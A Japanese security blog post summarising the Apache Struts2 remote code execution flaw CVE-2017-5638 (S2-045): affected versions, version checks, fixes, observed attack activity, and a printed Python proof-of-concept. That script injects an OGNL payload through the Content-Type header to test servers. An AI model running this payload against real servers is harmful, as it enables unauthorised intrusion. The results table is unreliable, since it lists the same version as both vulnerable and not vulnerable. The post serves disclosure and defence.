ブログトップ 記事一覧 ログイン 無料ブログ開設

piyolog RSSフィード

2017-03-07

Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた

| 02:20 |  Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみたを含むブックマーク

2017年3月7日、Struts2にリモートから任意のコード実行可能な脆弱性が確認されたとして情報(S2-045)が公開されました。ここでは脆弱性の関連情報をまとめます。

脆弱性の概要

対象Apache Struts2
CVECVE-2017-5638
影響RCE
重要度High(Apache Struts)
CVSSN/A
PoCインターネット上に公開済
悪用の状況攻撃観測情報あり(2017/03/07)
発見者/報告者Nike Zheng氏
Apache Struts

影響範囲

次のApache Struts2が影響を受ける。

Struts2のバージョン確認方法
  • WFB-INFディレクトリ内のJARファイル「strus2-core」につけられているファイル名に含まれている。
  • JARファイル「struts2-core」に含まれる「MANIFEST.MF」にある「Bundle-Version」の表記で確認する。

(参考) Apache Struts2のバージョン調査について — (n)

対策

2017年3月8日付リリース以降のバージョンに更新する。

また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。

回避策

脆弱性の悪用の状況

  • NTTセキュリティ・ジャパンによれば、特に「36.45.172.93」からの攻撃が多数観測されている。

脆弱性実証コード (PoC)

Online版 (piyokango未検証)
GUI版 (piyokango未検証)
CUI版 (piyokango一部検証済)
import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"
実証コードが動作する対象バージョン

次の検証環境にてPoCの動作状況を評価した結果、Struts2を最新版に更新することでPoCの結果が「not vulnerable」となった。

StrutsのバージョンPoCの実行結果
Apache Struts 2.3.31vulnerable
Apache Struts 2.3.31not vulnerable
Apache Struts 2.5.10vulnerable
Apache Struts 2.3.11not vulnerable
Apache Struts 1.3.10(参考)not vulnerable

CVE-2017-5638の調査、まとめ、注意喚起など

更新履歴